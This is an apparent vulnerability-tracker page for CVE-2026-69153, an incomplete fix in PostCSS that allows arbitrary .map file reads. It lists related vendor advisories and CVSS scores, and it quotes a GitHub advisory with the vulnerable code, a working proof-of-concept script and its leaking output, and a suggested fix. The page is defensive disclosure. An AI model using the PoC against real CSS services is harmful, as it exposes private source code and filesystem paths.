CVE-2026-102930 · CVE-2026-102937 · CVE-2026-102938 · CVE-2026-103262 · CVE-2026-104851 · CVE-2026-105744

openSUSE-SU-2026:12070-1: velociraptor-0.76.7.0.git145.b60ef1146-1.1 on GA media

CVE-2025-0914 · CVE-2026-12143 · CVE-2026-14257 · CVE-2026-17535 · CVE-2026-18348 · CVE-2026-18636 · CVE-2026-18638 · CVE-2026-18639 · CVE-2026-18860 · CVE-2026-27601 · CVE-2026-29074 · CVE-2026-41650 · CVE-2026-45623 · CVE-2026-49356 · CVE-2026-5329 · CVE-2026-53550 · CVE-2026-55602 · CVE-2026-56852 · CVE-2026-59869 · CVE-2026-6290 · CVE-2026-64951 · CVE-2026-64952 · CVE-2026-64954 · CVE-2026-65903 · CVE-2026-65912 · CVE-2026-65913 · CVE-2026-65914 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-6863 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-6948 · CVE-2026-73086 · CVE-2026-73646 · CVE-2026-73650 · CVE-2026-7572 · CVE-2026-7573 · CVE-2026-84369 · CVE-2026-84370

RHSA-2026:70587: Red Hat Security Advisory: OpenShift Container Platform 4.17.58 bug fix and security update

CVE-2026-14362 · CVE-2026-33814 · CVE-2026-33818 · CVE-2026-42504 · CVE-2026-42965 · CVE-2026-43003 · CVE-2026-44918 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-46597 · CVE-2026-48801 · CVE-2026-54284 · CVE-2026-54423 · CVE-2026-56852 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-59869 · CVE-2026-66138 · CVE-2026-69153 · CVE-2026-75885 · CVE-2026-75886 · CVE-2026-75887

RHSA-2026:50079: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-69152 · CVE-2026-69153

msrc_CVE-2026-69153: PostCSS: incomplete fix of CVE-2026-45623 — attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset

CVE-2026-69153

RHSA-2026:59579: Red Hat Security Advisory: multicluster engine for Kubernetes v2.6.14 security update

CVE-2024-45336 · CVE-2025-22866 · CVE-2025-30204 · CVE-2026-10059 · CVE-2026-12143 · CVE-2026-19130 · CVE-2026-27145 · CVE-2026-39831 · CVE-2026-39832 · CVE-2026-42502 · CVE-2026-46597 · CVE-2026-47219 · CVE-2026-54272 · CVE-2026-66794 · CVE-2026-66795 · CVE-2026-66804 · CVE-2026-66805 · CVE-2026-66806 · CVE-2026-66808 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-73266 · CVE-2026-73267 · CVE-2026-73268 · CVE-2026-73269

RHSA-2026:59593: Red Hat Security Advisory: multicluster engine for Kubernetes v2.17.2 security update

CVE-2026-13676 · CVE-2026-19130 · CVE-2026-27145 · CVE-2026-39829 · CVE-2026-39835 · CVE-2026-44740 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-47219 · CVE-2026-54272 · CVE-2026-59869 · CVE-2026-66794 · CVE-2026-66795 · CVE-2026-66804 · CVE-2026-66805 · CVE-2026-66808 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-73266 · CVE-2026-73267 · CVE-2026-73268 · CVE-2026-73269

RHSA-2026:68334: Red Hat Security Advisory: Red Hat Edge Manager Version 1.1.4 Security Update

CVE-2026-25681 · CVE-2026-27136 · CVE-2026-27145 · CVE-2026-33810 · CVE-2026-33818 · CVE-2026-39820 · CVE-2026-39831 · CVE-2026-41178 · CVE-2026-42306 · CVE-2026-42499 · CVE-2026-42504 · CVE-2026-44740 · CVE-2026-46597 · CVE-2026-48050 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-69153 · CVE-2026-71556 · CVE-2026-81521

RHSA-2026:71179: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Container Release Update

CVE-2025-57847 · CVE-2025-66418 · CVE-2026-12564 · CVE-2026-14257 · CVE-2026-15307 · CVE-2026-33818 · CVE-2026-42215 · CVE-2026-42284 · CVE-2026-42504 · CVE-2026-44244 · CVE-2026-49825 · CVE-2026-53488 · CVE-2026-53492 · CVE-2026-54284 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-59877 · CVE-2026-59893 · CVE-2026-67322 · CVE-2026-67323 · CVE-2026-67325 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69244 · CVE-2026-71458 · CVE-2026-71459 · CVE-2026-71460 · CVE-2026-71462 · CVE-2026-71463 · CVE-2026-71464 · CVE-2026-71465 · CVE-2026-71491 · CVE-2026-73086 · CVE-2026-73620 · CVE-2026-73622 · CVE-2026-73623 · CVE-2026-73624 · CVE-2026-73625 · CVE-2026-75884 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-76218 · CVE-2026-76219 · CVE-2026-76220 · CVE-2026-76221 · CVE-2026-76222 · CVE-2026-78676 · CVE-2026-78679 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84470 · CVE-2026-84474 · CVE-2026-84486 · CVE-2026-84499 · CVE-2026-84502 · CVE-2026-84638 · CVE-2026-84643 · CVE-2026-84644 · CVE-2026-84679 · CVE-2026-84680 · CVE-2026-84683 · CVE-2026-84684 · CVE-2026-84686 · CVE-2026-84689 · CVE-2026-84691 · CVE-2026-84692 · CVE-2026-84703 · CVE-2026-84706 · CVE-2026-84707 · CVE-2026-84708 · CVE-2026-84709 · CVE-2026-84711 · CVE-2026-84712 · CVE-2026-84714 · CVE-2026-84716 · CVE-2026-84717 · CVE-2026-84718 · CVE-2026-84719 · CVE-2026-84720 · CVE-2026-84724 · CVE-2026-85393 · CVE-2026-87817

RHSA-2026:63046: Red Hat Security Advisory: OpenShift Container Platform 4.21.32 bug fix and security update

CVE-2026-27136 · CVE-2026-33814 · CVE-2026-35469 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-69153 · CVE-2026-73566

RHSA-2026:50826: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67315 · CVE-2026-67316 · CVE-2026-67317 · CVE-2026-67318 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-69198

RHSA-2026:68754: Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.30.1 Release.

CVE-2026-4800 · CVE-2026-45623 · CVE-2026-45819 · CVE-2026-47219 · CVE-2026-48801 · CVE-2026-54272 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-59887 · CVE-2026-59899 · CVE-2026-67213 · CVE-2026-67312 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-71436 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73508 · CVE-2026-73566 · CVE-2026-73646 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-82562 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394

Source published: Aug 3, 2026, 4:56:25 PM (timezone not stated)
Source modified: Aug 3, 2026, 6:28:59 PM (timezone not stated)
Saved here: 13 Nov 2026 17:00:24 UTC
Source terms: ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 6.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

nvd · CVE-2026-69153

Published

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-22 · CWE-200

Original publisher date fields

published: 2026-08-03T17:16:46.127

lastModified: 2026-08-05T14:58:45.517

1 source CPE criteria · context only

cpe:2.3:a:postcss:postcss:*:*:*:*:*:node.js:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published: 3 Aug 2026 17:16:46 UTC
Source modified: 5 Aug 2026 14:58:45 UTC
Saved here: 25 Oct 2026 15:18:51 UTC
Source terms: NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 6.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

osv · GHSA-fxqj-rqcc-2cmp

Published

## Summary The fix for GHSA-6g55-p6wh-862q added a guard in `lib/previous-map.js` `PreviousMap.loadFile()` that restricts an attacker-controlled `sourceMappingURL` (from a CSS comment) to a `.map` extension and, for untrusted maps, rejects `..` traversal and absolute paths. The traversal/absolute rejection is nested inside `if (cssFile) { ... }`. When PostCSS is invoked without the `from` option, `cssFile` is falsy and that branch is skipped, leaving only the `.map` extension check. `PreviousMap` is constructed by `lib/input.js` whenever `pathAvailable && sourceMapAvailable` (under Node with source-map available), independent of `opts.from`/`opts.map` (the constructor returns early only for `opts.map === false`). So `postcss([]).process(css)` on attacker CSS reaches `loadFile` with `cssFile` undefined, and an attacker `/*# sourceMappingURL=/abs/path/x.map */` (or `../`-traversing path) is read via `readFileSync`. When the file is valid JSON, its `sources` (filesystem paths) and `sourcesContent` (source contents) are disclosed in the generated source map. ## Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix) ```js // lib/previous-map.js loadFile(path, cssFile, trusted) { if (!trusted && !this.unsafeMap) { if (!/\.map$/i.test(path)) { return undefined } if (cssFile) { // guard runs ONLY when `from` is set let relativePath = relative(dirname(cssFile), path) if (relativePath === '..' || relativePath.startsWith('..' + sep) || isAbsolute(relativePath)) { return undefined } } } this.root = dirname(path) if (existsSync(path)) { this.mapFile = path return readFileSync(path, 'utf-8').toString().trim() // sink } } // loadMap(): untrusted annotation path, trusted=false; file === opts.from } else if (this.annotation) { let map = this.annotation if (file) map = join(dirname(file), map) // no `from` -> map stays the raw URL let unknown = this.loadFile(map, file, false) // file undefined -> cssFile falsy ``` ## Proof of concept (verified on postcss 8.5.22) ```js const postcss = require('postcss') const fs = require('fs') // a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map) const secret = '/tmp/pcpoc/secret_out_of_tree.map' fs.writeFileSync(secret, JSON.stringify({ version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [], sourcesContent: ['TOP_SECRET_abcdef'] })) const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */' const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef') ;(async () => { // A) NO `from` -> guard skipped -> arbitrary absolute .map read + disclosed const a = await postcss([]).process(css, { map: true }) console.log('no from -> leaked:', !!leaks(a.map)) // true // B) WITH `from` -> guard active -> blocked const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true }) console.log('with from -> leaked:', !!leaks(b.map)) // false })() ``` Observed output on postcss 8.5.22: ``` no from -> leaked: true # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map with from -> leaked: false # guard rejects the absolute path ``` `../` traversal (no `from`) also succeeds; non-`.map` targets (`.txt`, `?x=.map`, `#.map`) are blocked by the `.map` check. The tested build contains the GHSA-6g55 fix (`this.json = JSON.parse(...)` in `loadMap`, `consumer()` uses `this.json || this.text`), so this is a residual of that fix. ## Impact Arbitrary `.map`-file read (absolute path or `../` traversal) and disclosure of the target map's `sources` (local filesystem paths) and `sourcesContent` (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a `from` option and exposes `result.map` (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in `.map` that parse as JSON. ## Suggested fix Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether `cssFile` is present (resolve against `process.cwd()` when there is no `cssFile`, and reject absolute paths and `..` escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.

Source published: 3 Aug 2026 17:11:39 UTC
Source modified: 10 Sep 2026 03:50:53 UTC
Saved here: 24 Oct 2026 13:17:17 UTC
Source terms: GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Publisher rating · MODERATE